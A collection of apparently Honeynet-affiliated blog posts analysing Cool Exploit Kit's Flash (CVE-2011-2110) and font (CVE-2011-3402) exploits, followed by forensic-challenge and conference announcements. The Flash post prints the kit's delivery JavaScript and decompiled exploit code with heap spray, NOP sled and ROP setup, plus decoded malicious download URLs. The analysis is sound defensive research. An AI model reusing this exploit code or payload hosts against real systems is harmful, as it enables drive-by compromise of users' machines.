Flash exploit (CVE-2011-2110) and Cool Exploit Kit

The Cool Exploit kit is using two flash vulnerabilities for the exploits. In this particular post, The vulnerability for CVE-2011-2110 will be analyzed. The post will highlight on analyzing the attack using flash exploit instead of detail on the vulnerability of CVE-2011-2110. ARTeam has a great writeup explaining on CVE-2011-2110 here. For this blogpost, the focus start is still the index page of Cool Exploit Kit

The JavaScript retrieved from index page is as below

//JS code from Index's page. Only relavent code associated with Flash attack will be
//showed
//<snip><snip>....<snip>
 
function ShowPDF() {
                var pdf = (PluginDetect.getVersion("AdobeReader") + ".").toString().split(".");
                var vver = "";
                if (pdf[0] < 8) {
                    vver = "old";
                    setTimeout("FlashExploit()", 8003);
                } else if (pdf[0] == 8 || (pdf[0] == 9 && pdf[1] < 4)) {
                    vver = "new";
                    setTimeout("FlashExploit()", 7004);
                } else {
                    //<F1><EB><F3><E4><F3><FE><F9><E8><E9> <FD><EA><F1><EF><EB><EE><E9><F2>

                  FlashExploit();
                }
                if (vver != "") {
                    var d = document.createElement("div");
                    d.innerHTML = '<iframe src="../media/pdf_' + vver + '.php"></iframe>';
                    document.body.appendChild(d);
                }
            }

function FlashExploit() {
                var ver = ($$.getVersion("Flash") + ".").toString().split(".");
                if (((ver[0] == 10 && ver[1] == 0 && ver[2] > 40) || ((ver[0] == 10 && ver[1] > 0) && (ver[0] == 10 && ver[1] < 2))) || ((ver[0] == 10 && ver[1] == 2 && ver[2] < 159) || (ver[0] == (11 - 1) && ver[1] < 2))) {
                    var oSpan = document.createElement("span");
                    document.body.appendChild(oSpan);
                    oSpan.innerHTML = "<object classid='clsid:d27cdb6e-ae6d-11cf-96b8-444553540000' width=10 height=10 id='swf_id'><param name='movie' value='../media/field.swf' /><param name='allowScriptAccess' value='always' /><param name='Play' value='0' /><embed src='../media/field.swf' id='swf_id' name='swf_id' allowScriptAccess='always' type='application/x-shockwave-flash' width='10' height='10'></embed></object>";
                } else if ((ver[0] == 10 && ver[1] == 3 && ver[2] == 181 && ver[3] <= 23) || (ver[0] == 10 && ver[1] == 3 && ver[2] < 181)) {
                    var oSpan = document.createElement("span");
                    document.body.appendChild(oSpan);
                    var avmurl = "02e6b1525353caa8ad555330b65154b25550abb1b25633b6315350b7a93134ac55a835a951b252ca3556b1cf4f7e7a1c2075a8";
                    oSpan.innerHTML = "<object classid='clsid:D27CDB6E-AE6D-11cf-96B8-444553540000' id='asd' width='600' height='400' codebase='http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab'><param name='movie' value='../media/flash.swf?info=" + avmurl + "' /><embed src='../media/flash.swf?info=" + avmurl + "' name='asd' align='middle' allowNetworking='all' type='application/x-shockwave-flash' pluginspage='http://www.macromedia.com/go/getflashplayer'></embed></object>"
                }

}

//<snip><snip>....<snip>

The function of FlashExploit() will be triggered after pdf attacks related executed. The analysis will be on FlashExploit().

Upon inspecting FlashExploit(), two different flash files are prepared. Depending on version target different file will be loaded. In this article, the flash file will be analyzed is the one loaded to match with these versions or lesser than 10.3.181.24  or  lesser than 10.3.181

In the setup for loading the flash, one parameter avmurl is initialize and assigned to:

var avmurl = "02e6b1525353caa8ad555330b65154b25550abb1b25633b6315350b7a93134ac55a835a951b252ca3556b1cf4f7e7a1c2075a8"

Inspecting further, the flash file, located at (../media/flash.swf) will receive the avmurl as the first parameter. The analysis of the flash.swf file is required to understand the what it will do with avmurl parameter.  Partial AS3 code below is belong to flash.swf file after decompiled

//
package 
{
        public class Main extends flash.display.MovieClip
        {
                public function Main()
                {
                        var i:uint = 0;
                        var loader:URLLoader = null;
                        var onLoadComplete:Function = null;
                        var onLoadComplete:Function = function(arg0:flash.events.Event):void
                        {
                                var local1:*;
                                content = loader.data;
                                i = 0;
                                while(i < content.length)
                                {
                                        content[i] = (content[i]) ^ 122;
                                        local1 = i + 1;
                                        i = local1;
                                }
                                content.uncompress();
                                content_len = content.length;
                                var local0:* = new ByteArray();
                                code = local0;
                                local0.position = 1024 * 1024;
                                local0.writeInt(2053274210);
                                local0.writeInt(2053339747);
                                local0.writeInt(2053405283);
                                local0.writeObject(local0);
                                exploit(local0, local0);
                                trace(local0.length);
                        };
                        var param:* = root.loaderInfo.parameters;
                        var t_url:hexToBin = param[((('i') + ('n')) + ('f')) + ('o')];
                        while(i < t_url.length)
                        {
                                t_url[i] = (t_url[i]) ^ 122;
                                var i:uint = i + 1;
                        }
                        t_url.uncompress();


//<snip><snip>....<snip>

At line number 35, the code retrieved a paramater from "info" which indeed belong to passed parameter  from JavaScript code. The info paramater will be converted from hex to bin and will be XOR with 122 key. The xor'ed param will be uncompressed (Flash is using zlib library for decompression) next. By knowing this details, we can now inspect what is actually "info" paramater is. In this example, a ruby approach is choose to demonstrate the implementation (it seems code in ruby is much easier to implement as oppose to setup AS3 development set, if you already have the as3 ready, just copy-paste the relavant code sample). Below is the ruby code to achieve the same logic:

//ruby code to mimic the AS3 code for manipulating "info" param

require 'zlib'
info="02e6b1525353caa8ad555330b65154b25550abb1b25633b6315350b7a93134ac55a835a951b252ca3556b1cf4f7e7a1c2075a8"
data=""
info.scan(/../) { |a| data << (a.to_i(16)^122)}
puts Zlib::Inflate.inflate(data)

Run the code with:

shell>$ruby infoswf.rb 
http://transport.hitandrun.cc/r/f.php?avm=1

The result of "info" manipulation seems to be an URL. The URL will be used by code as showed on code snippet below:

//<snip>..<snip>
                               {
                                                error_arr.uncompress();
                                        }
                                }
                        }
                        var url_str:String = t_url;
                        var loader:URLLoader = new URLLoader();
                        loader.dataFormat = URLLoaderDataFormat.BINARY;
                        loader.addEventListener(Event.COMPLETE, onLoadComplete);
                        loader.load(new URLRequest(t_url.toString()));
                }

//<snip>..<snip>

Further analysis as3 code revealed that the URL contains a xor with 122 key shellcode. The as3 code snippet below showed the URL will be downloaded and XOR with 122.

//<snip>..<snip>
public
function Main() {
    var i: uint = 0;
    var loader: URLLoader = null;
    var onLoadComplete: Function = null;
    var onLoadComplete: Function = function (arg0: flash.events.Event): void {
        var local1: * ;
        content = loader.data;
        i = 0;
        while (i & lt; content.length) {
            content[i] = (content[i]) ^ 122;
            local1 = i + 1;
            i = local1;
        }
        content.uncompress();
        content_len = content.length;
        var local0: * = new ByteArray();
        code = local0;
        local0.position = 1024 * 1024;
        local0.writeInt(2053274210);
        local0.writeInt(2053339747);
        local0.writeInt(2053405283);
        local0.writeObject(local0);
        exploit(local0, local0);
        trace(local0.length);
    };


//<snip>..<snip>

The as3 code snippet below showed is basically the exploit code to trigger the vulnerability of CVE-2011-2110 and setup the NOP Sled.

//<snip>..<snip>

public function exploit(): void {
    var uint1: uint = 0;
    var local2: * = this.code;
//Trigger the 1st memory leak
    var number1: Number = new Number(parseFloat(String(local0[1073741841])));
    var local4: * = new ByteArray(); < dup > new ByteArray().position = 0;
    local4.writeDouble(number1);
    var local5: * = ((((local4[0]) * 16777216) + ((local4[1]) * 65536)) + ((local4[2]) * 256)) + (local4[3]);
    this.baseaddr = local5;
    local2.position = 0;
    local2.endian = Endian.LITTLE_ENDIAN;
    local2.writeInt(((this.pobj - 1) + 16) + ((1024 * 4) * 100));
    local2.endian = Endian.BIG_ENDIAN;
    local2.writeUnsignedInt(1094861636);
    local2.writeUnsignedInt(1094861636);
    local2.writeUnsignedInt(1162233672);
    uint1 = 0;
//setup NOP Sled 41414141
    while (uint1 < 1024 * 100) {
        local2.writeUnsignedInt(1094795585);
        uint1 = uint1 + 1;
    }
//<snip>..<snip>

//ROPing
local2.endian = Endian.LITTLE_ENDIAN;
local2.writeUnsignedInt(this.inc_eax_ret + 1);
local2.endian = Endian.BIG_ENDIAN;
local2.endian = Endian.LITTLE_ENDIAN;
local2.writeUnsignedInt(this.inc_eax_ret + 1);
local2.endian = Endian.BIG_ENDIAN;
local2.endian = Endian.LITTLE_ENDIAN;
local2.writeUnsignedInt(this.inc_eax_ret + 1);
local2.endian = Endian.BIG_ENDIAN;
local2.endian = Endian.LITTLE_ENDIAN;
local2.writeUnsignedInt(this.inc_eax_ret + 1);
local2.endian = Endian.BIG_ENDIAN;
local2.endian = Endian.LITTLE_ENDIAN;
local2.writeUnsignedInt(this.inc_eax_ret + 1);
local2.endian = Endian.BIG_ENDIAN;
local2.endian = Endian.LITTLE_ENDIAN;
local2.writeUnsignedInt(this.inc_eax_ret + 1);
local2.endian = Endian.BIG_ENDIAN;

//<snip>..<snip>

//9090 NOP Sled
local2.writeUnsignedInt(2425393296);
local2.writeUnsignedInt(2425393296);
local2.writeUnsignedInt(2425393296);
local2.writeUnsignedInt(2425393296);
local2.writeUnsignedInt(2425393296);
local2.writeUnsignedInt(2425393296);
local2.endian = Endian.BIG_ENDIAN;

//write XOR'ed data with 122 key retrieved from the URL (info)
local2.writeBytes(this.content, 0, this.content.length);
//<snip>..<snip>

//Trigger another memory leak
var number2: Number = new Number(parseFloat(String(local0[1073741741])));
var local7: * = new ByteArray();

//<snip>..<snip>

Inspecting the code further reveal a similarity of metasploit's module for "adobe_flashplayer_arrayindexing".

The next post will be on malicious PDF or another Flash vulnerability. 

CVE-2011-3402 and Cool Exploit Kit

I have been working with the Cool Exploit Kits payloads (attack vectors, rather, for the pass few days. The attack vectors consist of multiple vectors such as Flash, Java, PDF, Font and . It's interesting to see how the exploit kit is having probably the latest exploits released in public and also a 0day for Java vulnerability. The Cool Exploit kits is very stand out from many exploit kits due to Java 0day (please read the awesome article by @kafeine on the Java 0day analysis here). @kafeine also wrote a post on the Cool Exploit kits architecture here. So, i'll try to write multiple articles and only concentrating on analysis of these particular vulnerabilities used within the exploit kit: CVE-2011-3402 for TTF font, CVE2010-0188 for LibTIFF on Adobe's PDF, and CVE-2011-2110 for AVM bytecode confusion on Adobe's Flash. In this post, I'll focus on CVE2011-3402.

The analysis start with inspecting index's file retrieved from main page hosting the exploit kit. I'm using Thug ( a honeyclient honeypot, develop by Angello 'buffer' Dell'Aera) to speed up my analysis (so much thing to do when it comes to de-obfuscation of Javascript, ;P). Please refer for documentation on how to setup Thug and how to use it. Below is the Figure 1.0 screenshot of the result of page rendering.

Figure 1.0: Result from Thug showed the setup for @font-face pointing to font file at ../32size_font.eot with later being applied to "duqu" CSS style

The one interesting part of the Figure 1.0 is the word of "duqu". The IE font-face will fetch a remote font specified by the "src:url" parameter which pointing to ../32size_font.eot. A CSS style for the font-face using a font of ../32size_font.eot then sets to "duqu". The "duqu" style is important to understand because, in order to trigger the vulnerability in the font system, the font need to be called by the browser which later will call font engine (Win32k). Figure 1.0 [3], showed how the the style of duqu being rendered. Wasn't it cute when the smiley chars ":)" being showed in our browser?. I'll explain about this later.

The next step for the analysis is to download the 32size_font.eot for further analysis. The url for the 32size_font.eot is http://hosted_ip/r/32size_font.eot. In one of my analysis, i downloaded it via URL http://transport.hitandrun.cc/r/32size_font.eot.  

The Embedded OpenType File Format (EOT) was developed by Microsoft to enable TrueType and OpenType fonts to be linked to web pages for download to render the web page with the font. The understanding EOT format is crucial in order to reconstruct the original font. Please read a good specifacation from Microsoft on EOT specification here. The EOT is a mere container to enable the TTF font to be loaded into the application (in this case is a browser), thus triggering vulnerability inside a TTF font rendering system (Win32k).  Figure 2.0 showed a basic information about the downloaded file. 

Figure 2.0: Basic information for the 32size_font.eot

The FullName and FamilyName for the font sounds familiar. Symantec's report on Duqu pointed out about the font name used within the Duqu attack is called Dexter.  The FontDataSize value is 4004 bytes which represent the size of the embedded font.  Based on the Figure 2.0 result, I'm a bit curious about the "Flags" when "not-compressed" is presented. When checking the embedded font data, I failed to recognize any TTF metadata presented. So, I decided to write a new EOT file parser. Figure 3.0 showed the result of my EOT parser. 

Figure 3.0 showed the result of the new EOT parser

The new parser will parse the metadata of EOT file and will dump the embedded font into a new file. In this case, it will dump into Dexter. As for the flag, it showed a different result which has now been "tt_compressed" instead of "not_compressed". This result showed the embedded TTF font is compressed. According to Microsoft EOF specification, the compression algorithm used is the MicroType® Express algorithm. Based on this information, the Dexter file is required to be decompressed to retrieve the uncompress TTF font. Once the Dexter file is uncompressed, the TTF metadata can be showed as shown in Figure 4.0. 

Figure 4.0 showed TTF metadata

The next step is to analyze on the Dexter TTF font. A good documentation on CVE-2011-3402 and it exploitation possibility are described in a great detail from BlackHat Europe 2012 presentation (From Lee Ling Chuan aka lclee_vx) which can be downloaded from here and here.

In order to understand the TTF file format in easy way, 010 Editor's TTF Font template is used. Figure 5.0 showed the TTF Font format inside 010 Editor.

Figure 5.0 showed the TTF Font format inside 010 Editor.

Based on the lclee_vx's presentation, the criteria to trigger the exploit are pretty much the same with the extracted Dexter TTF font. Upon checking further, the shellcode can be discovered at FPGM Table. Two shellcodes is used, once is for ring0 and another one is ring3 shellcode. Ring 0 shellcode will copy and  execute ring 3 shellcode. Ring 3 shellcode is to download and execute (download and exec) a binary from this url: http://146.185.235.21/r/f.php?k=4. Figures 6.0 and 7.0 showed part of ring 0 and ring 3 shellcode, respectively.

Figures 6.0 Ring 0 (kernel) shellcode

Figures 7.0 Ring 3 (userland) shellcode

If we carefully check on the characters supported by the Dexter TTF font are only smiley chars which are ":)". So, in order to trigger the vulnerability, the smiley chars are used inside <div class=duqu>:)</div>. Please refer back to Figure 1.0.

Forensic Challenge 9 - "Mobile Malware"

We did it again, this time, we published a new challenge on Mobile Malware. This is really an awesome challenge for us to work on since we're working with different chapters. This time, Azizan and me, team up with Franck Guenichot from French Chapter and Matt Erasmus from South Africa Chapter.

Enjoy the challenge!. :)

Here is the description of the challenge posted by the Honeynet Project:

Forensic Challenge 9 - "Mobile Malware"

Challenge 9 - Mobile Malware (provided by Franck Guenichot from French Chapter, Mahmud Ab Rahman and Ahmad Azizan Idris from Malaysia Chapter and Matt Erasmus from South Africa Chapter)

Please submit your solution using the submission template below by September 30th 2011 athttp://www.honeynet.org/challenge2010.

Results will be announced mid October. For any questions and inquiries, please contact forensicchallenge2010@honeynet.org.

Skill Level: Intermediate

With the number of smartphone users growing exponentially (1.6 billion mobile device units sold in 2010, 19% were smartphones) mobile devices are becoming an attractive platform for cybercriminals. As a security researcher or enthusiast, you need to know your enemy and be able to defend yourself against these new kinds of threats.

This challenge offers the exploration of a real smartphone, based on a popular OS, after a security incident.
You will have to analyze the image of a portion of the file system, extract all that may look suspicious, analyze the threat and finally submit your forensic analysis. From File System recovery to Malware reverse-engineering and PCAP analysis, this challenge will take you to the world of Mobile Malwares.

Questions: 
1. Write an executive summary of this incident (3 pts)
2. Provide the phone brand, model, OS name and version (1 pts)
3. Extract any suspicious application (if any). Detail your extraction method. Please provide name and SHA1 for each suspicious app.(4 pts)
4. What permissions are requested by the malware(s)? Why it is suspicious ? (1 pts)
5. Please provide a solution/s to quickly identify any suspicious API (please define your suspicious API according to your understanding) (8 pts)
6. What is the malware's home server URL and where is it located? Where, in the code, is/are stored the command server(s) URL(s)(4 pts)
7. What can you say about the communications model between the malware and its C&C server? (2 pts)
8. If encryption was used for the communication, which encryption algorithm was used? What was the key used? Explain how you found it. (4 pts)
9. Please draw a graph of the decrypted communication flow, found in the pcap, between the malware and the C&C (4 pts)
10. What personnal informations were leaked during this incident? A special *secret* information was leaked, Explain how and what it was. (2 pts)
11. What particular techniques are used by the malware to harden analysis or to evade detection? What unusual behavior can be noticed? (6 pts)
12. Provide a detailled analysis of the malware behavior and features. (10 pts)
13. Please provide a method to block (or request permission from Android (similar to UAC concept)) when any suspicious call received from Android (8 pts)

Download:

fc9files-final.tar.gz
SHA1: dbc378ce1807a4a2459f882b13b4224d0db8fbc7

The archive contains 2 files:
- data.bin: corrupted /data partition image of the phone
- traffic.pcap: traffic capture of the malware communications.

This work by Franck Guenichot, Mahmud Ab Rahman, Ahmad Azizan Idris and Matt Erasmus is licensed under a Creative Commons Attribution-NonCommercial-NoDerivs 3.0 Unported License.

Sneaky PDF will be featured at DEFCON 19

\0/, My paper on Sneaky PDF is accepted for DEFCON 19. I'll present on how in-the-wild malicious PDF implementing their obfuscation to avoid for detection and making analysis harder. Here is my full abstract:

Sneaky PDF

Being a most prevalent document exchange format on the Internet, Portable Document Format (PDF) is in danger of becoming the main target for client-side attack. With estimation of more than 1.5 million line of code and loaded with huge functionalities, this powerful document format is suffered with several high impact vulnerabilities, allowing attackers to exploit and use it as malware spreading vector.

Until now, there are thousands of malicious PDF file spreads with little chances of getting detected.

The challenges are obfuscation techniques used by the attackers to hide their malicious activities, hence minimizing detection rate. In order to sustain the survival of malicious PDF file on the Internet, attackers circumvent the analysis process through diverse obfuscation techniques. Obfuscation methods used usually ranges from PDF syntax obfuscation, PDF filtering mechanism, JavaScript obfuscation, and variant from both methods. Because of rapid changes in methods of obfuscation, most antivirus software as well as security tools failed to detect malicious content inside PDF file, thus increasing the number of victims of malicious PDF mischief.

In this paper, we study in the obfuscation techniques used inside in-the-wild malicious PDF, how to make it more stealthy and how we can improve analysis on malicious PDF

I'm looking forward to meet old and new faces!. Will be my first time at DEFCON. :)

Reversing Android Malware And Honeynet Project Workshop

I honored by Honeynet Project folks for allowing to present on a new topic "Reverse Engineering Android Malware" for the Honeynet Project Security Workshop in Paris, France last week. My first part of the presentation, covered on introduction into APK, Dalvik and processes involve for Android app development into packaging in details. 

For the second part of the presentation, i focused on methods and tools for reversing android malware or app. When dealing with reverse engineering android app (or malware), it is an ideal goal to be able to have decompile code in Java (normally), but unfortunately, decompiling is hard!. :). So, an understanding on disassemble code for Dalvik is a good skill to have when dealing with reverse engineering on the Android platform.

The third part the presentation is a few cases studies on various Android malwares. The malware samples are SMS.Trojon, Geinimi, ADDR and DreamDroid. These are quite interesting samples. I sorted the case study samples from simple to intermediate level of complexity of the malwares. On Geinimi and DreamDroid, I demoed on how we can perform and reverse engineering on cryptography implemented within the malware samples. 

Honeynet Project already released my presentation slide. You can get it from here

<update> 

The video for my presentation is published.

#The First Part of the Presentation

#The Second Part of The Presentation

Honeynet Project Forensic Challenge on Malicious PDF

Ahmad Azizan and i released a challenge for Honeynet Project Forensic Challenge on our favorite topic, malicious PDF called, "Analyzing Malicious Portable Destructive Files".  We implemented a few tricks on making analysis harder inside the PDF file such as JavaScript obfuscations, PDF /Root component, and PDF syntax obfuscation and many more. It will be interesting to see how people will get the wrong shellcode execution. >;). Good Luck and enjoy the challenge.  We are definitely having a lot of fun while working on the challenge.

Please check out the challenge from Honeynet Project Forensic Challenge 6 page here.

Here is the challenge description:

The Challenge:

PDF format is the de-facto standard in exchanging documents online. Such popularity, however, has also attracted cyber criminals in spreading malware to unsuspecting users. The ability to generate malicious pdf files to distribute malware is functionality that has been built into many exploit kits. As users are less cautious opening PDF files, the malicious PDF file has become quite a successful attack vector.

The network traffic captured in lala.pcap contains network traffic related to a typical malicious PDF file attack, in which a unsuspecting user opens a compromised web page, which redirects the user's web browser to a URL of a malicious PDF file. As the PDF plug-in of the browser opens the PDF, the unpatched version of Adobe Acrobat Reader is exploited and, as a result, downloads and silently installs malware on the user's machine.

1. How many URL path(s) are involved in this incident? Please list down the URL path(s) found. (1pt)
2. What code can you find inside the PCAP file? Explain what the code does. (2pts)
3. What file(s) can you find within the PCAP file? If any files are found, please zip compress into password protected file (password infected) with file name: [your email]_Forensic Challenge 2010 – Challenge 6 – Extracted Files.zip and submit to http://www.honeynet.org/challenge2010/. (3pts)
4. How many object(s) are contained inside the PDF file? (1pt)
5. Using PDF dictionary and object referencing, explain in detail the flow structure of a PDF file. (1pt)
6. How many filtering schemes are used for the object streams and what are they? Explain how you can decompress the stream. (1pt)
7. Which object streams might contain malicious content? List the object and explain the obfuscation technique(s) used. (3pts)
8. What exploit(s) are contained inside the PDF file? Which one that actually runs and triggers the vulnerability(ies)? Please provide some explanation for your answer. (4pts)
9. Are there any payloads inside the PDF file? If any, list them all and explain what they do. Which payload will be executed? (2pts)
10. With the understanding of the PDF format structure, please explain how we can enable other exploits to run when the PDF file is opened. (2pts)

Bonus:

1. Please provide the dot graph of the PDF object’s connectivity inside the PDF file. (1pt)
2. Please provide an automated solution to extract and analyze JavaScript code within the PDF file. Be creative! (describe your solution below, but submit any source code and executable in a compressed zip file with file name [your email]_Forensic Challenge 2010 – Challenge 6 – Bonus2.zip via our submission formhttp://www.honeynet.org/challenge2010/.) (1pt)

To get it started, you need to start by inspecting a PCAP file. It can be downloaded from this page. 

Malicious PDF Technical Analysis Write Up

For the 2010, i spent a bit of my time on poking with malicious PDF analysis. I came up with a technical write up for the analyzing malicious pdf. The title for the write up is "Getting Owned by Malicious PDF". I split the write up into multiple samples sorting from easy-to-moderate of challenges and obstacle when dealing with malicious pdf analysis.

It starts with an introduction on PDF structures and components. The next section is on analyzing with vanilla pdf which only have a plain and flat PDF structure. This is a good introduction to familiar audience to PDF structure and also to expose on malicious pdf threat. On this sample, the analysis focus on understanding the PDF internal and extracting interesting components such as /Root object, javascript code and shellcode (within the javascript code).

The second sample involves with compressed PDF components by utilizing PDF feature, /Filter. /Filter will allow any PDF objects to be compressed using compression algorithms and decoding method such as zlib compression for /FlatDecode filter, ascii-to-hex for /ASCIIHexDecode filter. There are many methods can be implemented. Please read a good PDF Specification  format by Adobe.

For the details on samples 3, 4 please feel free to download and read the write up from SANS's web page here.